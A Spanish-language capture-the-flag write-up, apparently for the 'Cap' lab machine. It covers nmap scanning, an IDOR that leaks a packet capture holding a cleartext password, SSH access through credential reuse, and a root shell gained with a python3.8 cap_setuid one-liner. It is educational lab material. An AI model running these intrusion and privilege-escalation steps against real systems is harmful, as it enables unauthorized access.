Escaneo general de puertos
Primero empezamos un escaneo general de puertos, para ver como de expuesta está nuestra víctima.
$ sudo nmap -sS -p- --min-rate 5000 -vv -n -Pn 10.10.10.245 -oG allports
Host is up, received user-set (0.11s latency).
Scanned at 2025-06-09 12:12:40 CEST for 14s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Escaneo específico de puertos
Una vez tenemos los puertos realizamos un escaneo más específico para ver las versiones de los puertos que están expuestos. En este caso, tenemos los puertos 21 (FTP), 22 (SSH) y 80 (HTTP).
$ nmap -sCV -p21,22,80 10.10.10.245 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 12:15 CEST
Nmap scan report for 10.10.10.245 (10.10.10.245)
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Reconocimiento servicio web
Hacemos un reconocimiento básico de la web con Whatweb, y vemos que no hay mucha información útil.
$ whatweb http://10.10.10.245
http://10.10.10.245 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.10.10.245], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge]
Entramos a la IP víctima y entramos en un Dashboard de un usuario llamado Nathan, tiene un menú pero no es funcional.
Dos apartados del Dashboard son IP Config y Network Status, pero tampoco nos valen de mucho, más que para tener más información de que está corriendo en cada puerto y ver que no estamos encerrados en otro equipo por el “IP Config”.
Explotación
Si nos fijamos en la URL, antes ponía 1. Esto nos lleva a pensar que podemos explotar un IDOR (Insecure Direct Object Reference) y vemos que nos aparecen cargados unos paquetes de red que podemos bajarnos como una captura de wireshark.
Buscamos un poco el tráfico grabado y vemos una password en texto claro. Viendo el código de Login serguramente nos permita entrar al servicio FTP, pero podemos confiar en que hayan hecho reutilización de credenciales y probar directamente con el SSH.
Intrusión
Efectivamente, nos vale esa misma contraseña para entrar al SSH directamente y conseguimos nuestra flag de user.
$ ssh nathan@10.10.10.245
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the list of known hosts.
nathan@10.10.10.245's password:
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
1618b0******486488031
Post-Explotación
Escalada de Privilegios
De nuevo y como siempre, nuestra parte favorita. Una escalada sencilla pero que viene bien para asentar conocimientos en el tema de exploitación de Capabilities. Muy parecido a un binary abusing con Sudo.
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Rápidamente al encontrar “/usr/bin/python3.8” vamos a nuestro amigo GTFOBins. Y conseguimos nuestra flag de root sin ningún problema.
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# whoami
root
root@cap:~# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# cat /root/root.txt
382dab******41ab640d
¡Espero que os haya gustado y os haya servido de ayuda! ¡Hasta el próximo writeup!